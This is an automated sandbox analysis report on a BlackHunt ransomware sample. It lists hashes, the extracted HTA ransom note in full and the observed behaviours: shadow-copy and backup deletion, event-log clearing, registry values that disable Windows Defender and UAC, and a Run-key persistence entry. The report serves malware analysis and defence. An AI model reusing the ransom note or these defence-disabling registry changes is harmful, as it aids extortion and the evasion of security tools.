04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e

Analysis

max time kernel
121s
max time network
123s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
18/01/2024, 22:22

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General

Target

04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe
Size

707KB
MD5

f6b86f7a5baba280a0140cf3c98a7364
SHA1

7936baa61f451d3b0c4a77506d0ac9274a15eaae
SHA256

04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e
SHA512

a0acf2839c611344e6b1fd6ebfb195f8e99477f5fb4b2dded184589fbd5c0068243c8e8835aecbb6e75b829e21161135c450ba72fd5d22fbc56d5347d2a8e0af
SSDEEP

6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1H8Ovnh:6uaTmkZJ+naie5OTamgEoKxLWmQh

Score

10^/10

evasion persistence ransomware trojan

Malware Config

Extracted

Path

C:\ProgramData\#BlackHunt_ReadMe.hta

Ransom Note

<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="x-ua-compatible" content="ie=9"><meta charset="UTF-8"><HTA:APPLICATION icon="#" WINDOWSTATE="maximize" scroll="no" SELECTION="yes" contextmenu="no" caption="yes" SYSMENU="no" innerBorder="yes" SHOWINTASKBAR="yes" singleInstance="yes" /><meta name="viewport" content="width = device-width,initial-scale=1.0"><style>a,abbr,acronym,address,applet,article,aside,audio,b,big,blockquote,body,canvas,caption,center,cite,code,dd,del,details,dfn,div,dl,dt,em,embed,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,html,i,iframe,img,ins,kbd,label,legend,li,mark,menu,nav,object,ol,output,p,pre,q,ruby,s,samp,section,small,span,strike,strong,sub,summary,sup,table,tbody,td,tfoot,th,thead,time,tr,tt,u,ul,var,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:'';content:none}table{border-collapse:collapse;border-spacing:0}</style><style>body,html{background-color:#dadada;font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;font-weight:600;font-size:16px}a{text-decoration:none;color:#0483ab}div.header{margin-top:15px;margin-bottom:5px;width:100%}div.header h1{width:97%;text-align:left;font-size:30px;font-weight:900;margin:auto}div.header h1 span#black{display:inline-block;color:#000;margin-right:0;padding:2px 2px}div.header h1 span#hunter{display:inline-block;color:#e90303;background-color:#000;padding:2px 8px;margin-left:0}div.header h1 span#hunter span#version{font-size:12px}div.message div.head-encrypted-msg{width:100%}div.message div.head-encrypted-msg h1{font-size:330%;width:97%;margin:auto;text-align:center;font-weight:700}div.message div.head-encrypted-msg h1 span{display:inline-block;color:#000;background-color:#e90303;padding:0 8px 0 8px;margin-right:3px}div.message div.head-attention-msg{width:97%;margin:auto;text-align:center;margin-top:1%;border:1px solid #e90303;background-color:#f1caca;border-radius:5px;font-size:250%;padding-top:10px;padding-bottom:10px}div.message div.head-attention-msg p{margin-bottom:.5%}div.message div.head-attention-msg p span{color:#e90303}div.content{margin:auto;margin-top:2%}div.content div.content-head-msg{font-size:32px;text-align:left;font-weight:600}div.content div.content-boxes{margin:auto;margin-top:2%}div.content div.box{width:96%;margin:auto;border-radius:5px;margin-bottom:30px}div.content div.content-left-box{background-color:#c5cfd8;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #1878cf}div.content div.content-left-box h3.left-box-title{background-color:#1878cf;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-left-box div.content-contact-directly *{font-weight:600!important;line-height:1.4em}div.content div.content-left-box div.content-contact-directly h4{font-size:24px;font-weight:500;margin-top:8px}div.content div.content-left-box div.content-contact-directly h4#tox{font-weight:600;display:inline-block;margin-left:3px}div.content div.content-left-box div.content-contact-directly div.tox-id{margin-left:6%}div.content div.content-left-box div.content-contact-directly h4#tox-id{font-size:24px}div.content div.content-left-box div.content-contact-directly p#tox-id-p{font-size:16px}div.content div.content-left-box div.content-contact-directly h4#download-tox{display:inline-block;margin-left:6%}div.content div.content-left-box div.content-contact-directly p#download-tox-p{display:inline-block}div.content div.content-left-box div.content-contact-directly h4#email{display:inline-block;font-weight:600;margin-left:3px}div.content div.content-left-box div.content-contact-directly p#email-p{display:inline-block;font-size:24px;margin-left:8px}div.content div.content-left-box div.content-contact-directly h4#user-id{font-weight:500;margin-left:3px}div.content div.content-left-box div.content-contact-directly h4#user-id span{color:#e90303}div.content div.content-left-box div.content-contact-tor{margin-top:50px;font-weight:600!important}div.content div.content-left-box div.content-contact-tor h3{font-size:24px}div.content div.content-left-box div.content-contact-tor h3 span{color:#e90303}div.content div.content-left-box div.content-contact-tor div.content-tor-inside{margin-left:6;margin-top:10px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p{margin-top:8px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p img{position:relative;bottom:-3px}div.content div.content-right-box{background-color:#efb0b0;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #e90303}div.content div.content-right-box h3.right-box-title{background-color:#e90303;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-right-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p span{color:#e90303;font-weight:700;font-size:24px}</style><title>Black Hunt</title></head><body><div class="header"><h1><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIMAAAAWCAYAAADjNi+WAAAACXBIWXMAAC4jAAAuIwF4pT92AAALpWlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNi4wLWMwMDIgNzkuMTY0NDYwLCAyMDIwLzA1LzEyLTE2OjA0OjE3ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VFdmVudCMiIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczpwaG90b3Nob3A9Imh0dHA6Ly9ucy5hZG9iZS5jb20vcGhvdG9zaG9wLzEuMC8iIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIiB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29tL2V4aWYvMS4wLyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHhtcDpDcmVhdGVEYXRlPSIyMDIyLTEwLTEzVDEyOjMyOjAyKzAzOjMwIiB4bXA6TWV0YWRhdGFEYXRlPSIyMDIzLTA0LTA3VDA0OjIxOjI1KzA0OjMwIiB4bXA6TW9kaWZ5RGF0ZT0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgZGM6Zm9ybWF0PSJpbWFnZS9wbmciIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NGRiOTQ5OGItYTg5Mi0yMTRjLTliYzgtZTZlMDM3ZTYzYmJkIiB4bXBNTTpEb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6ZGVlODIyNjgtMDA3Ni0wNDQ2LWFjMGEtMzk2OTY3MzA0YTdjIiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1IiBwaG90b3Nob3A6Q29sb3JNb2RlPSIzIiBwaG90b3Nob3A6SUNDUHJvZmlsZT0ic1JHQiBJRUM2MTk2Ni0yLjEiIHRpZmY6T3JpZW50YXRpb249IjEiIHRpZmY6WFJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6WVJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6UmVzb2x1dGlvblVuaXQ9IjIiIGV4aWY6Q29sb3JTcGFjZT0iMSIgZXhpZjpQaXhlbFhEaW1lbnNpb249IjQ0OSIgZXhpZjpQaXhlbFlEaW1lbnNpb249Ijg5Ij4gPHhtcE1NOkhpc3Rvcnk+IDxyZGY6U2VxPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0iY3JlYXRlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDoyNzIzMDY2Ny1kMzRkLWUyNGYtYmU1NS0wNDIxZjYyZjdlYjUiIHN0RXZ0OndoZW49IjIwMjItMTAtMTNUMTI6MzI6MDIrMDM6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIvPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0ic2F2ZWQiIHN0RXZ0Omluc3RhbmNlSUQ9InhtcC5paWQ6NzU5MzVkMTMtYjM0OS02ZTRiLWIwODctYzc5ZTJmZGNiNzgwIiBzdEV2dDp3aGVuPSIyMDIyLTEwLTEzVDEyOjMyOjE0KzAzOjMwIiBzdEV2dDpzb2Z0d2FyZUFnZW50PSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHN0RXZ0OmNoYW5nZWQ9Ii8iLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249InNhdmVkIiBzdEV2dDppbnN0YW5jZUlEPSJ4bXAuaWlkOmJiMmZiMmMyLWRjNDUtMzE0Yy1iMmQxLWRjNzFlZGUwNWJlYSIgc3RFdnQ6d2hlbj0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgc3RFdnQ6c29mdHdhcmVBZ2VudD0iQWRvYmUgUGhvdG9zaG9wIDIxLjIgKFdpbmRvd3MpIiBzdEV2dDpjaGFuZ2VkPSIvIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJjb252ZXJ0ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImZyb20gYXBwbGljYXRpb24vdm5kLmFkb2JlLnBob3Rvc2hvcCB0byBpbWFnZS9wbmciLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249ImRlcml2ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImNvbnZlcnRlZCBmcm9tIGFwcGxpY2F0aW9uL3ZuZC5hZG9iZS5waG90b3Nob3AgdG8gaW1hZ2UvcG5nIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJzYXZlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDo0ZGI5NDk4Yi1hODkyLTIxNGMtOWJjOC1lNmUwMzdlNjNiYmQiIHN0RXZ0OndoZW49IjIwMjMtMDQtMDdUMDQ6MjE6MjUrMDQ6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIgc3RFdnQ6Y2hhbmdlZD0iLyIvPiA8L3JkZjpTZXE+IDwveG1wTU06SGlzdG9yeT4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6YmIyZmIyYzItZGM0NS0zMTRjLWIyZDEtZGM3MWVkZTA1YmVhIiBzdFJlZjpkb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6YTU3NzljMGQtYzI3Zi05ZjQ2LWJmMjgtYjQ2MzIzZjQ5ZjQxIiBzdFJlZjpvcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQy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 " alt=""></h1></div><div class="message"><div class="head-encrypted-msg"><h1>YOUR<span>WHOLE NETWORK</span>HAS BEEN PENETRATED BY<span>Black Hunt</span>!</h1></div><div class="head-attention-msg"><p>We also have uploaded your sensitive data, which we Will leak or sell in case of no cooperation!</p><p><span>Restore your data possible only buying private key from us</span></p></div></div><div class="content"><div class="content-boxes"><div class="content-right-box box"><h3 class="right-box-title">ATTENTION</h3><p>remember, there are many middle man services out there pretending that they can recover or decrypt your files , whom neither will contact us or scam you, Remember we are first and last solution for your files otherwise you will only waste money and time</p><p>trying to decrypt your files without our decryptor and through third party softwares will make your files completely useless, there is no third party decryptor since we are the only key holders</p><p>we have uploaded many critical data and information from your machines , we won't leak or sell any of them in Case of successful Corporation, however if we don't hear from you in 14 days we will either sell or leak your data in many forums</p><p></p><p>Remain all of your files untouched, do not change their name, extension and...</p></div><div class="content-left-box box"><h3 class="left-box-title">CONTACT US</h3><p>Your system is offline. in order to contact us you can email this address<span> [email protected] </span>this ID (<span> RzJec4prTSXb60a2 </span>) for the title of your email.</p><p>If you weren't able to contact us whitin 24 hours please email:<span> [email protected] </span></p><p>Check your data situation in<a href="#"><span> http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion </span></a></p></div></div></div></body></html>

Emails

[email protected]

URLs

http-equiv="x-ua-compatible"

http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion

Signatures

Deletes NTFS Change Journal 2 TTPs 2 IoCs

The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

ransomware

Inhibit System Recovery

T1490

Data Destruction

T1485

pid	Process
1048	fsutil.exe
3912	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe

Clears Windows event logs 1 TTPs 5 IoCs

evasion ransomware

Indicator Removal

T1070

pid	Process
2216	wevtutil.exe
3648	wevtutil.exe
3732	wevtutil.exe
4072	wevtutil.exe
3640	wevtutil.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
2712	bcdedit.exe
2400	bcdedit.exe
3964	bcdedit.exe
2256	bcdedit.exe

Renames multiple (2887) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
2788	wbadmin.exe
884	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Deletes itself 1 IoCs

pid	Process
3020	cmd.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe

Enumerates connected drives 3 TTPs 27 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\V:	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\Z:	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe
File opened (read-only)	\??\Y:	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe
File opened (read-only)	\??\U:	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe
File opened (read-only)	\??\X:	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe
File opened (read-only)	\??\E:	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe
File opened (read-only)	\??\R:	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe
File opened (read-only)	\??\G:	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe
File opened (read-only)	\??\H:	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe
File opened (read-only)	\??\J:	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe
File opened (read-only)	\??\O:	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe
File opened (read-only)	\??\S:	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe
File opened (read-only)	\??\L:	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe
File opened (read-only)	\??\Q:	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe
File opened (read-only)	\??\W:	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe
File opened (read-only)	\??\T:	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe
File opened (read-only)	\??\M:	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe
File opened (read-only)	\??\N:	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\F:	fsutil.exe
File opened (read-only)	\??\A:	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe
File opened (read-only)	\??\B:	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe
File opened (read-only)	\??\K:	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe
File opened (read-only)	\??\M:	fsutil.exe
File opened (read-only)	\??\I:	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe
File opened (read-only)	\??\P:	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	ip-api.com

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3601492379-692465709-652514833-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg"	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Rectangles\NavigationUp_ButtonGraphic.png	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Antarctica\Mawson	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\WET	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\services_discovery\#BlackHunt_Private.key	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ba.txt	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\p2\org.eclipse.equinox.p2.engine\profileRegistry\#BlackHunt_Private.key	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.ssl.feature_1.0.0.v20140827-1444\META-INF\MANIFEST.MF	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\#BlackHunt_ReadMe.txt	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Anchorage	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Goose_Bay	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\lib\#BlackHunt_Private.key	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe
File opened for modification	C:\Program Files\7-Zip\readme.txt	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.jarprocessor.nl_zh_4.4.0.v20140623020002.jar	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe
File created	C:\Program Files\Java\jre7\lib\zi\America\North_Dakota\#BlackHunt_ReadMe.hta	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\config\Modules\org-openide-util-enumerations.xml_hidden	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Pacific\Auckland	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\#BlackHunt_ReadMe.hta	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\com.jrockit.mc.feature.core_5.5.0.165303\feature.xml	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.simpleconfigurator.manipulator.nl_ja_4.4.0.v20140623020002.jar	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Europe\Samara	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\be\LC_MESSAGES\vlc.mo	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe
File created	C:\Program Files\VideoLAN\VLC\lua\#BlackHunt_ReadMe.txt	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe
File created	C:\Program Files\DVD Maker\it-IT\#BlackHunt_ReadMe.txt	04749cb5d33d32279428e4fbd559335b07895bcbfdeecb6bf26b2b0affefe25e.exe
